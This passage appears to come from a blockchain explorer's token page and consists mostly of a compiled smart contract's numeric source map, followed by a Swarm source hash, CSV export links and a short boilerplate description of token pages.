0300:11:0;;-1:-1:-1;;;10300:11:0;;;;10253:58;:87;;;;-1:-1:-1;;;;;;10316:24:0;;;;;;:18;:24;;;;;;;;10315:25;10253:87;:114;;;;-1:-1:-1;;;;;;10345:22:0;;;;;;:18;:22;;;;;;;;10344:23;10253:114;10249:386;;;10388:38;10405:20;10388:16;:38::i;:::-;10474:21;10518:22;;10514:106;;10565:35;10578:21;10565:12;:35::i;:::-;10369:266;10249:386;9425:1221;;9387:1259;-1:-1:-1;;;;;10705:24:0;;10658:12;10705:24;;;:18;:24;;;;;;10673:4;;10705:24;;;:50;;-1:-1:-1;;;;;;10733:22:0;;;;;;:18;:22;;;;;;;;10705:50;10704:102;;;-1:-1:-1;10769:13:0;;-1:-1:-1;;;;;10761:21:0;;;10769:13;;10761:21;;;;:44;;-1:-1:-1;10792:13:0;;-1:-1:-1;;;;;10786:19:0;;;10792:13;;10786:19;;10761:44;10700:574;;;-1:-1:-1;10833:5:0;10700:574;;;10898:13;;-1:-1:-1;;;;;10890:21:0;;;10898:13;;10890:21;:55;;;;-1:-1:-1;10929:15:0;;-1:-1:-1;;;;;10915:30:0;;;10929:15;;10915:30;;10890:55;10887:169;;;10980:16;;10966:11;:30;11029:11;;11015;:25;10887:169;11096:13;;-1:-1:-1;;;;;11090:19:0;;;11096:13;;11090:19;:55;;;;-1:-1:-1;11129:15:0;;-1:-1:-1;;;;;11113:32:0;;;11129:15;;11113:32;;11090:55;11086:175;;;11180:17;;11166:11;:31;11230:15;;11216:11;:29;11086:175;11286:41;11301:4;11307:2;11311:6;11319:7;11286:14;:41::i;2586:224::-;2706:7;2742:12;2734:6;;;;2726:29;;;;-1:-1:-1;;;2726:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2766:9:0;2778:5;2782:1;2778;:5;:::i;:::-;2766:17;2586:224;-1:-1:-1;;;;;2586:224:0:o;11834:99::-;11891:17;;:34;;-1:-1:-1;;;;;11891:17:0;;;;:34;;;;;11918:6;;11891:17;:34;:17;:34;11918:6;11891:17;:34;;;;;;;;;;;;;;;;;;;7910:323;8005:7;8063;;8052;:18;;8030:110;;;;-1:-1:-1;;;8030:110:0;;11570:2:1;8030:110:0;;;11552:21:1;11609:2;11589:18;;;11582:30;11648:34;11628:18;;;11621:62;-1:-1:-1;;;11699:18:1;;;11692:40;11749:19;;8030:110:0;11368:406:1;8030:110:0;8151:19;8173:10;:8;:10::i;:::-;8151:32;-1:-1:-1;8201:24:0;:7;8151:32;8201:11;:24::i;:::-;8194:31;7910:323;-1:-1:-1;;;7910:323:0:o;11343:483::-;6131:6;:13;;-1:-1:-1;;;;6131:13:0;-1:-1:-1;;;6131:13:0;;;11445:16:::1;::::0;;11459:1:::1;11445:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11445:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11445:16:0::1;11421:40;;11490:4;11472;11477:1;11472:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11472:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11516:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11516:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11472:7;;11516:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11506:4;11511:1;11506:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11506:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11581:15:::1;::::0;11549:62:::1;::::0;11566:4:::1;::::0;11581:15:::1;11599:11:::0;11549:8:::1;:62::i;:::-;11622:15;::::0;:196:::1;::::0;-1:-1:-1;;;11622:196:0;;-1:-1:-1;;;;;11622:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11703:11;;11622:15:::1;::::0;11745:4;;11772::::1;::::0;11792:15:::1;::::0;11622:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;6167:6:0;:14;;-1:-1:-1;;;;6167:14:0;;;-1:-1:-1;;;;11343:483:0:o;13266:282::-;13422:7;13417:28;;13431:14;:12;:14::i;:::-;13456:44;13474:6;13482:9;13493:6;13456:17;:44::i;:::-;13516:7;13511:29;;13525:15;8546:19;;8532:11;:33;8590:15;;8576:11;:29;8488:125;16237:164;16279:7;16300:15;16317;16336:19;:17;:19::i;:::-;16299:56;;-1:-1:-1;16299:56:0;-1:-1:-1;16373:20:0;16299:56;;16373:11;:20::i;:::-;16366:27;;;;16237:164;:::o;3072:132::-;3130:7;3157:39;3161:1;3164;3157:39;;;;;;;;;;;;;;;;;:3;:39::i;8241:239::-;8288:11;;:16;:36;;;;-1:-1:-1;8308:11:0;;:16;8288:36;8284:49;;;8241:239::o;8284:49::-;8367:11;;;8345:19;:33;8407:11;;;8389:15;:29;-1:-1:-1;8431:15:0;;;;8457;8241:239::o;13556:610::-;13703:15;13733:23;13771:12;13798:23;13836:12;13863:13;13890:19;13901:7;13890:10;:19::i;:::-;-1:-1:-1;;;;;13938:15:0;;;;;;:7;:15;;;;;;13688:221;;-1:-1:-1;13688:221:0;;-1:-1:-1;13688:221:0;;-1:-1:-1;13688:221:0;-1:-1:-1;13688:221:0;-1:-1:-1;13688:221:0;-1:-1:-1;13938:28:0;;13688:221;13938:19;:28::i;:::-;-1:-1:-1;;;;;13920:15:0;;;;;;;:7;:15;;;;;;:46;;;;13998:18;;;;;;;:39;;14021:15;13998:22;:39::i;:::-;-1:-1:-1;;;;;13977:18:0;;;;;;:7;:18;;;;;:60;14048:16;14058:5;14048:9;:16::i;:::-;14075:23;14087:4;14093;14075:11;:23::i;:::-;14131:9;-1:-1:-1;;;;;14114:44:0;14123:6;-1:-1:-1;;;;;14114:44:0;;14142:15;14114:44;;;;2992:25:1;;2980:2;2965:18;;2846:177;14114:44:0;;;;;;;;13677:489;;;;;;13556:610;;;:::o;16409:257::-;16507:7;;16460;;;;4888:15;16575:20;16507:7;4888:15;16575:11;:20::i;:::-;16565:7;:30;16561:61;;;-1:-1:-1;;16605:7:0;;;4888:15;;-1:-1:-1;16409:257:0;-1:-1:-1;16409:257:0:o;16561:61::-;16641:7;;16650;;-1:-1:-1;16409:257:0;-1:-1:-1;16409:257:0:o;3212:223::-;3332:7;3367:12;3360:5;3352:28;;;;-1:-1:-1;;;3352:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3391:9:0;3403:5;3407:1;3403;:5;:::i;14585:621::-;14685:7;14707;14729;14751;14773;14795;14831:23;14856:12;14870:13;14900:46;14912:7;14921:11;;14934;;14900;:46::i;:::-;14830:116;;;;;;14957:19;14979:10;:8;:10::i;:::-;14957:32;;15001:15;15018:23;15043:12;15072:46;15084:7;15093:4;15099:5;15106:11;15072;:46::i;:::-;15000:118;;-1:-1:-1;15000:118:0;-1:-1:-1;15000:118:0;-1:-1:-1;15169:15:0;;-1:-1:-1;15186:4:0;;-1:-1:-1;15192:5:0;;-1:-1:-1;;;;;14585:621:0;;;;;;;:::o;2442:136::-;2500:7;2527:43;2531:1;2534;2527:43;;;;;;;;;;;;;;;;;:3;:43::i;2255:179::-;2313:7;;2345:5;2349:1;2345;:5;:::i;:::-;2333:17;;2374:1;2369;:6;;2361:46;;;;-1:-1:-1;;;2361:46:0;;13188:2:1;2361:46:0;;;13170:21:1;13227:2;13207:18;;;13200:30;13266:29;13246:18;;;13239:57;13313:18;;2361:46:0;12986:351:1;14174:211:0;14227:19;14249:10;:8;:10::i;:::-;14227:32;-1:-1:-1;14270:13:0;14286:22;:5;14227:32;14286:9;:22::i;:::-;14360:4;14344:22;;;;:7;:22;;;;;;14270:38;;-1:-1:-1;14344:33:0;;14270:38;14344:26;:33::i;:::-;14335:4;14319:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;14174:211:0:o;14393:147::-;14471:7;;:17;;14483:4;14471:11;:17::i;:::-;14461:7;:27;14512:10;;:20;;14527:4;14512:14;:20::i;:::-;14499:10;:33;-1:-1:-1;;14393:147:0:o;15214:473::-;15385:7;;;;15479:32;15507:3;15479:23;:7;15491:10;15479:11;:23::i;:::-;:27;;:32::i;:::-;15464:47;-1:-1:-1;15522:13:0;15538:28;15562:3;15538:19;:7;15550:6;15538:11;:19::i;:28::-;15522:44;-1:-1:-1;15577:23:0;15603:28;15522:44;15603:17;:7;15615:4;15603:11;:17::i;:::-;:21;;:28::i;:::-;15577:54;15667:4;;-1:-1:-1;15673:5:0;;-1:-1:-1;15214:473:0;;-1:-1:-1;;;;;15214:473:0:o;15695:534::-;15889:7;;;;15986:24;:7;15998:11;15986;:24::i;:::-;15968:42;-1:-1:-1;16021:12:0;16036:21;:4;16045:11;16036:8;:21::i;:::-;16021:36;-1:-1:-1;16068:13:0;16084:22;:5;16094:11;16084:9;:22::i;:::-;16068:38;-1:-1:-1;16117:23:0;16143:28;16068:38;16143:17;:7;16155:4;16143:11;:17::i;:28::-;16190:7;;;;-1:-1:-1;16216:4:0;;-1:-1:-1;15695:534:0;;-1:-1:-1;;;;;;;15695:534:0:o;2818:246::-;2876:7;2900:1;2905;2900:6;2896:47;;-1:-1:-1;2930:1:0;2923:8;;2896:47;2953:9;2965:5;2969:1;2965;:5;:::i;:::-;2953:17;-1:-1:-1;2998:1:0;2989:5;2993:1;2953:17;2989:5;:::i;:::-;:10;2981:56;;;;-1:-1:-1;;;2981:56:0;;13717:2:1;2981:56:0;;;13699:21:1;13756:2;13736:18;;;13729:30;13795:34;13775:18;;;13768:62;-1:-1:-1;;;13846:18:1;;;13839:31;13887:19;;2981:56:0;13515:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:134;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1354:127::-;1415:10;1410:3;1406:20;1403:1;1396:31;1446:4;1443:1;1436:15;1470:4;1467:1;1460:15;1486:1121;1570:6;1601:2;1644;1632:9;1623:7;1619:23;1615:32;1612:52;;;1660:1;1657;1650:12;1612:52;1700:9;1687:23;1729:18;1770:2;1762:6;1759:14;1756:34;;;1786:1;1783;1776:12;1756:34;1824:6;1813:9;1809:22;1799:32;;1869:7;1862:4;1858:2;1854:13;1850:27;1840:55;;1891:1;1888;1881:12;1840:55;1927:2;1914:16;1949:2;1945;1942:10;1939:36;;;1955:18;;:::i;:::-;2001:2;1998:1;1994:10;2033:2;2027:9;2096:2;2092:7;2087:2;2083;2079:11;2075:25;2067:6;2063:38;2151:6;2139:10;2136:22;2131:2;2119:10;2116:18;2113:46;2110:72;;;2162:18;;:::i;:::-;2198:2;2191:22;2248:18;;;2282:15;;;;-1:-1:-1;2324:11:1;;;2320:20;;;2352:19;;;2349:39;;;2384:1;2381;2374:12;2349:39;2408:11;;;;2428:148;2444:6;2439:3;2436:15;2428:148;;;2510:23;2529:3;2510:23;:::i;:::-;2498:36;;2461:12;;;;2554;;;;2428:148;;;2595:6;1486:1121;-1:-1:-1;;;;;;;;1486:1121:1:o;3028:456::-;3105:6;3113;3121;3174:2;3162:9;3153:7;3149:23;3145:32;3142:52;;;3190:1;3187;3180:12;3142:52;3229:9;3216:23;3248:31;3273:5;3248:31;:::i;:::-;3298:5;-1:-1:-1;3355:2:1;3340:18;;3327:32;3368:33;3327:32;3368:33;:::i;:::-;3028:456;;3420:7;;-1:-1:-1;;;3474:2:1;3459:18;;;;3446:32;;3028:456::o;3678:385::-;3764:6;3772;3780;3788;3841:3;3829:9;3820:7;3816:23;3812:33;3809:53;;;3858:1;3855;3848:12;3809:53;-1:-1:-1;;3881:23:1;;;3951:2;3936:18;;3923:32;;-1:-1:-1;4002:2:1;3987:18;;3974:32;;4053:2;4038:18;4025:32;;-1:-1:-1;3678:385:1;-1:-1:-1;3678:385:1:o;4276:247::-;4335:6;4388:2;4376:9;4367:7;4363:23;4359:32;4356:52;;;4404:1;4401;4394:12;4356:52;4443:9;4430:23;4462:31;4487:5;4462:31;:::i;4528:180::-;4587:6;4640:2;4628:9;4619:7;4615:23;4611:32;4608:52;;;4656:1;4653;4646:12;4608:52;-1:-1:-1;4679:23:1;;4528:180;-1:-1:-1;4528:180:1:o;4713:160::-;4778:20;;4834:13;;4827:21;4817:32;;4807:60;;4863:1;4860;4853:12;4878:689;4970:6;4978;4986;5039:2;5027:9;5018:7;5014:23;5010:32;5007:52;;;5055:1;5052;5045:12;5007:52;5095:9;5082:23;5124:18;5165:2;5157:6;5154:14;5151:34;;;5181:1;5178;5171:12;5151:34;5219:6;5208:9;5204:22;5194:32;;5264:7;5257:4;5253:2;5249:13;5245:27;5235:55;;5286:1;5283;5276:12;5235:55;5326:2;5313:16;5352:2;5344:6;5341:14;5338:34;;;5368:1;5365;5358:12;5338:34;5423:7;5416:4;5406:6;5403:1;5399:14;5395:2;5391:23;5387:34;5384:47;5381:67;;;5444:1;5441;5434:12;5381:67;5475:4;5467:13;;;;-1:-1:-1;5499:6:1;-1:-1:-1;5524:37:1;;5540:20;;;-1:-1:-1;5524:37:1;:::i;:::-;5514:47;;4878:689;;;;;:::o;5572:180::-;5628:6;5681:2;5669:9;5660:7;5656:23;5652:32;5649:52;;;5697:1;5694;5687:12;5649:52;5720:26;5736:9;5720:26;:::i;5757:388::-;5825:6;5833;5886:2;5874:9;5865:7;5861:23;5857:32;5854:52;;;5902:1;5899;5892:12;5854:52;5941:9;5928:23;5960:31;5985:5;5960:31;:::i;:::-;6010:5;-1:-1:-1;6067:2:1;6052:18;;6039:32;6080:33;6039:32;6080:33;:::i;:::-;6132:7;6122:17;;;5757:388;;;;;:::o;6150:356::-;6352:2;6334:21;;;6371:18;;;6364:30;6430:34;6425:2;6410:18;;6403:62;6497:2;6482:18;;6150:356::o;6511:127::-;6572:10;6567:3;6563:20;6560:1;6553:31;6603:4;6600:1;6593:15;6627:4;6624:1;6617:15;6643:127;6704:10;6699:3;6695:20;6692:1;6685:31;6735:4;6732:1;6725:15;6759:4;6756:1;6749:15;6775:135;6814:3;6835:17;;;6832:43;;6855:18;;:::i;:::-;-1:-1:-1;6902:1:1;6891:13;;6775:135::o;6915:251::-;6985:6;7038:2;7026:9;7017:7;7013:23;7009:32;7006:52;;;7054:1;7051;7044:12;7006:52;7086:9;7080:16;7105:31;7130:5;7105:31;:::i;10701:125::-;10766:9;;;10787:10;;;10784:36;;;10800:18;;:::i;11235:128::-;11302:9;;;11323:11;;;11320:37;;;11337:18;;:::i;11779:980::-;12041:4;12089:3;12078:9;12074:19;12120:6;12109:9;12102:25;12146:2;12184:6;12179:2;12168:9;12164:18;12157:34;12227:3;12222:2;12211:9;12207:18;12200:31;12251:6;12286;12280:13;12317:6;12309;12302:22;12355:3;12344:9;12340:19;12333:26;;12394:2;12386:6;12382:15;12368:29;;12415:1;12425:195;12439:6;12436:1;12433:13;12425:195;;;12504:13;;-1:-1:-1;;;;;12500:39:1;12488:52;;12595:15;;;;12560:12;;;;12536:1;12454:9;12425:195;;;-1:-1:-1;;;;;;;12676:32:1;;;;12671:2;12656:18;;12649:60;-1:-1:-1;;;12740:3:1;12725:19;12718:35;12637:3;11779:980;-1:-1:-1;;;11779:980:1:o;12764:217::-;12804:1;12830;12820:132;;12874:10;12869:3;12865:20;12862:1;12855:31;12909:4;12906:1;12899:15;12937:4;12934:1;12927:15;12820:132;-1:-1:-1;12966:9:1;;12764:217::o;13342:168::-;13415:9;;;13446;;13463:15;;;13457:22;;13443:37;13433:71;;13484:18;;:::i
Swarm Source
ipfs://0b2b4c7bec95d5f7940fc1f6f344d7683094614d6b3693599d28318f76282f8a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.